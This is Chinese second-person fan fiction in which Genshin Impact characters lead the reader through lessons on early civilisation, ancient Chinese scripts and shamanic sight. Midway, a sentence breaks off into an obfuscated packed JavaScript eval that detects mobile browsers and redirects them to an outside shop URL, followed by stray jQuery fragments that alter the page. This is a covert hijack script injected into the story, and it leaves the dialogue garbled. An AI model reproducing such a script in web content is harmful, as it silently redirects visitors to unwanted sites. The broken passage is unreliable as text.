“还要走多久？”你眼前一片漆黑，只听见河水的声响。


    与你相牵的手帮你稳住方向，“先走到有光的地方。”


    “正如一些故事所讲述的那些，灯火和星光并非天然生成，人们在黑暗中摸索着前进——动物也一样。”


    “最开始的他们，岂不是什么都看不见吗？”这样的生活，你实在有些难以想象。


    “水雾蒸腾，海洋冲刷，土地坚实，山脉推移。原初的世界未免会有些粗糙，绝大多数的事物都还在生成。万物皆在孕育之中，一切都有待探索——但这也意味着，一切都是新的。”


    “后来的生灵见惯了蓝天绿草，如非生命初诞，很难体会那种陌生的欣喜。”


    一片黑漆漆的，到底哪里好欢喜？似乎察觉到你的疑惑，有谁将手覆上你的额心。


    世界上的第一粒种子，究竟于什么时候落下？它生发、成长，蔓延出自己的根系。


    它出现在世界上，周遭的生灵碰触它，陌生、困惑、欢喜。


    世上并非天然为它留着一个位置，但它出现在这里、在这里扎根。于是世间新有了一颗种子，一颗活着的、正在生发的种子。


    万物更迭，初生的摇摆、嬉戏、恐惧、试探，近乎是在一片空白里，找到自己的位置；后出现的接触世界上已有的一切，尝试着理解。他们开始模仿、学习。


    “我借着碰触看到了鲜妍的色彩，可我走在路上，眼前却是黑的。这是为什么？”


    为什么呢？山雷骤然劈响、引燃了火，这火被取得。于是你借由火光，看见周围的一切。


    不是日月星辰之光，而是火？这火天然生成，之间又有什么不同？


    借由火光，你见到身侧之人。那光极为温暖，照见她的白发金瞳。


    “鸟兽不能言，唯天地为之留影。”他们的悲欢，其他族类难以得知。她微微侧身，给你看她身侧的绳索，“人会留下记录。首先是语言，他们讲述新发生的事，或者重要的纪闻，以此传布知识。他们生活的痕迹伴随着故事，递给下一代，一如我身侧的长绳。”


    新的植物出现，新的动物出现，新的人出现。人与他们试探、交互，有了不同的关系。在探索的过程中，他们会从新的尝试中取得什么。


    “第一次是争吵，第二次可能会找到合作的方式。因为变化无措，以为一无所获而失望，但在某一天，他们又会找到合适的用途。人们将它们统统放在言语里，以他们能想到的方式保存和记录，但在这个过程中，又会有遗忘和丢失。”


    文字被保留下来，物件被保留下来，人类生活的痕迹褪去最鲜明的喜怒哀乐，凭借存有的文字和图画，后来者能瞥见当时的痕迹。他们在凭借着前人记载和经历，接触和了解世界。


    “人们谓之为‘文明’。火光便是文明的象——以此取暖，以此明照。有人在黑暗中行进，在不便、不安中或有所得，他们探索的经验为人描绘世界的外延，这就有了‘火’。温暖、明亮，便于前行。”兹白将你带向身侧，“我要交予你的，便是这样一条长绳。”


    “人们为事物重重命名，追寻着意义和答案，但生命尚在答案之前。答案亦从探索之中取得。”她引着你，握住那长绳。


    “叶片，坚硬的土，还有竹简？”你一一阅过，古老的文字歪歪扭扭，其含义不能被你解明。光芒一闪，你忽然出现在一间房子里。


    “就这三样？”高大的青年问你，“我这里还有些别的读物。”


    “你要教我学？”你的目光在金文、甲骨文、小篆之间扫过，顿时有些汗流浃背，“一定要学这个？”


    “如果我说，你不学会就出不去呢？”艾尔海森问。


    有这种房间用来学习，是否是太浪费了一点？


    艾尔海森点了点空置的桌面，图案一般的文字大摇大摆，从不同的材质上走出来，开始自行更换位置，“我猜你有些基础，你先认。”


    “我的确有些基础。”你也学着他那般，摆出了一个很酷的表情——“不管什么文字，回到那个青铜器上就是金文，回到龟甲和兽骨上就是甲骨文。”


    “有趣的回答。”艾尔海森指着其中一种文字，“金文的得名，的确与它的载体相关。一旦被命名，也能够脱离载体，单独存在。”


    你的眼神飘忽，不知该不该往艾尔海森脸上落——他长得好，正在教学的内容又平衡了这一点。


    “……今天下雨吗？”艾尔海森问。


    “嗯？”


    “不下雨，可以晒庄稼。没有雨，植物会干涸，乃至颗粒无收。”


    “是这么个道理，这和文字的关系是？”


    “他们想知道下不下雨。”艾尔海森指向甲骨文，“文字被用力刻在坚硬的材质上，烧制出裂纹，以此推测是与否。”


    “雨下了吗？”这就值得你往下听了。


    “如果能找到史料记载，或许得出准确的答案。而裂纹给出的答案是——否。不下雨。”


    “那等着下雨的人要怎么办？”


    “等着它下，或者一边唱歌跳舞一边等。音乐和舞蹈被视为有着能愉悦神明，沟通人与天地的功能，人们这样认为——歌舞合适的时候，雨就下了。”


    “这是一只鼎。”艾尔海森抬起左手，一只鼎应声出现，“如果我说，它可以用来煮菜盛饭呢？”


    “刻在上面的内容是菜单？”


    “是值得记录的内容。为了感谢谁做出的贡献，我将这鼎送给他，作为纪念，大概是这样的逻辑。”


    “那还有一个呢？”


    “那个就方便多了：刻甲骨文很费力，铸造青铜器费时。竹子被打理好，编在一起，书写并不算费时——编排人的成本，也低了许多。”他向你解释，“甲骨文，按照当时的文化，用这样的载体，是想要天知道。铸成鼎又需要有大量的金属，得有相应的工人。处理一下竹子是最简单的。”


    “把这三样放在一起，是不是有点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141134|196342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像？——金文。”艾尔海森注意到你的手游移不定，目却光锁定在他脸上，遂点破你的意图，“你不能看我的反应来猜。”


    “甲骨文更接近画，小篆在其中，能算最不像画的一个。字形从简单走向复杂，从平直偏向舒展，这一点与载体有关。”


    “甲骨文。金文。小篆。”你挨个点过去，他点头。


    那不相当于没换位置？


    你深吸一口气，“你运用了换位置的方法，在我一番眼花缭乱后，把它们换回了原本的位置？”


    艾尔海森似乎并不觉得这有什么不妥。


    “提醒一下，后面会有美食。”他挥手，给你看包括陶片在内的多种文字载体，“你有留在这里一一学完的兴致？”


    你看着各式各样的西方文字陷入沉默。


    “我认为了解到这个程度，对于现在的你来说，已经够用了。”


    这你听懂了。艾尔海森的意思是，他打算给你放海。


    “那我就先学到这里。”你飞速点头，“你现在就告诉我后面有美食，我已经准备好为此拉磨——啊，努力完成进度了。”


    有这样的老师，你几点下课？准点下课。提前下课。


    长绳出现在你的手里，你沿着它再向前一步。


    一只软乎乎的枕头把你托了起来。


    “先睡一觉吧，然后用我的视野来看。”茜特菈莉为你盖上一层薄毯。


    梦中的世界，这一次异常清晰。


    “小心！”茜特菈莉扯着你，朝后退了一步，“看得见吗？那些用于分割危机的界限。”


    她指着某一条分界线，线后是一片严寒。


    “冰川。”“悬崖。”“毒。”“火焰。”她挨个点过去，“当人们靠近这样的地方，能够看见这些的人，可以提前做出警示。而作为能看见的人，自己首先要远离它们。”


    “知道危险就及时停止，这是探视这些的第一条。”


    “不同的器材具有不同的功用，了解它们的所长，和了解自己的所长都很重要。这一点倒没有展开讲的必要。”


    “想要看得详细，过程往往不会太愉快。冰很冷、火很热，想要细看，既要有看清的能力，又要有自保能力——探视的意图就显得格外重要。为什么要看？是渴求答案，还是探听密辛？为谁而看？是为自己，还是为了族群？要平静、谨慎，把握必要的分寸，这样精神才能用在最为紧要的地方。”


    “人们会希望我为他们指点迷津。”茜特菈莉垂眼，“在这种时候，既要看见前方的危险，又要看见他们的心。人们的心里，藏着一部分的答案。”


    “如果你要开口作答，你也要考虑如何使用语言。更悦耳的答案往往更容易为人接受，但必要的警示又不能通过这种方式使他们轻忽。何处是必要的希望，何处是应当略去的内容，这比得到答案本身更费功夫。”


    “咱这是在学啥？”你问茜特菈莉。


    “萨满的基础知识。”